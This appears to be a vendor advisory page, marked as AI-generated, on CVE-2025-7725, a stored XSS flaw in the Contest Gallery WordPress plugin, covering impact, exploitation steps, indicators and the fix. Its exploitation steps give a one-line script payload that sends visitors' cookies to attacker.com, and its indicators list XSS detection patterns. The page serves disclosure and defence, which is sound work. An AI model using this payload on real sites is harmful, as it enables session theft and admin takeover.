CVE-2025-7725
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-7725 is a Stored Cross-Site Scripting (XSS) vulnerability in the "Contest Gallery" WordPress plugin (formally titled: Photos, Files, YouTube, Twitter, Instagram, TikTok, Ecommerce Contest Gallery – Upload, Vote, Sell via PayPal or Stripe, Social Share Buttons, OpenAI). It affects all versions up to and including 26.1.0, and stems from insufficient input sanitization and output escaping in the plugin's comment feature. The vulnerability was published on August 1, 2025, with Wordfence credited as the assigning authority. It carries a CVSS v3.1 base score of 7.2 (High) (Wordfence, Red Hat CVE).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-site Scripting). The vulnerability exists in the comment feature of the Contest Gallery plugin, where user-supplied input is neither properly sanitized on input nor escaped on output, allowing arbitrary JavaScript to be stored in the database. Because no authentication is required (PR:N) and no user interaction is needed to trigger the stored payload (UI:N), an unauthenticated remote attacker can submit a malicious comment containing a JavaScript payload that executes in the browser of any user who subsequently views the affected page. The scope is changed (S:C), meaning the injected script can affect resources beyond the vulnerable plugin's own context (Wordfence, ZeroPath Blog).

Impact

Successful exploitation allows unauthenticated attackers to persistently inject malicious JavaScript into WordPress pages served to all site visitors, including administrators. This can result in session cookie theft, credential harvesting, defacement, redirection to malicious sites, or further exploitation of authenticated users (e.g., admin account takeover leading to full site compromise). Confidentiality and integrity are both impacted at a low-to-moderate level per the CVSS scoring, with no direct availability impact (Wordfence, Red Hat CVE).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported as of the time of publication. The EPSS score is approximately 0.055% (0.000550), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, though CISA referenced it in its weekly vulnerability bulletin for the week of July 28, 2025. The low attack complexity and lack of authentication requirements make it relatively straightforward to exploit if a site is running a vulnerable version (CISA Bulletin, Wordfence).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Contest Gallery plugin (versions ≤ 26.1.0) using tools like WPScan, Shodan, or by inspecting page source for plugin-specific assets (e.g., /wp-content/plugins/contest-gallery/).
  2. Locate the comment feature: Navigate to a page or gallery entry on the target site that uses the Contest Gallery plugin and exposes the comment submission form.
  3. Craft a malicious payload: Prepare a stored XSS payload, such as <script>document.location='https://attacker.com/steal?c='+document.cookie;</script> or a more obfuscated variant to bypass any client-side filters.
  4. Submit the payload: Post the malicious payload as a comment via the plugin's comment feature without any authentication. The payload is stored in the WordPress database.
  5. Trigger execution: When any user (including administrators) visits the page containing the injected comment, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, ZeroPath Blog).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to Contest Gallery comment endpoints (e.g., URLs containing contest-gallery) from unexpected or anonymous sources; entries with unusual or encoded content in comment body fields.
  • Database: WordPress wp_comments or plugin-specific comment tables containing <script>, javascript:, onerror=, onload=, or other event handler patterns in comment fields.
  • Network: Outbound requests from site visitors' browsers to unknown external domains shortly after visiting Contest Gallery pages, potentially indicating cookie or credential exfiltration.
  • File System: No direct file system artifacts expected for a stored XSS, but check for newly created or modified PHP files in /wp-content/plugins/contest-gallery/ that may indicate follow-on compromise after admin session hijacking (Wordfence).

Mitigation and workarounds

Update the Contest Gallery plugin to version 26.1.1 or later, which includes the fix addressing insufficient input sanitization and output escaping in the comment feature. The patch is available via the WordPress plugin repository (changeset 3334370). As an interim workaround, site administrators can disable the comment feature within the plugin settings or restrict access to gallery pages until the update is applied. Regularly auditing plugin comments for suspicious content and enabling a Web Application Firewall (WAF) with XSS rules can provide additional defense-in-depth (Wordfence, WordPress Changeset).

Community reactions

Wordfence disclosed the vulnerability and published it in their weekly WordPress vulnerability report for the period of July 28–August 3, 2025, noting it as part of a broader set of plugin vulnerabilities tracked that week. CISA included it in its weekly vulnerability bulletin (SB25-216) for the week of July 28, 2025. No significant independent researcher commentary or notable social media discussion has been identified beyond standard vulnerability aggregator coverage (Wordfence Weekly Report, CISA Bulletin).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-15413CRITICAL10
  • link-factory
NoNoAug 13, 2026
CVE-2026-18146HIGH7.2
  • fluentform
NoYesAug 13, 2026
CVE-2026-3639MEDIUM6.4
  • password-protect-page
NoNoAug 13, 2026
CVE-2026-14332MEDIUM5.4
  • ecwid-shopping-cart
NoYesAug 13, 2026
CVE-2026-3835MEDIUM5.3
  • prevent-direct-access
NoYesAug 13, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management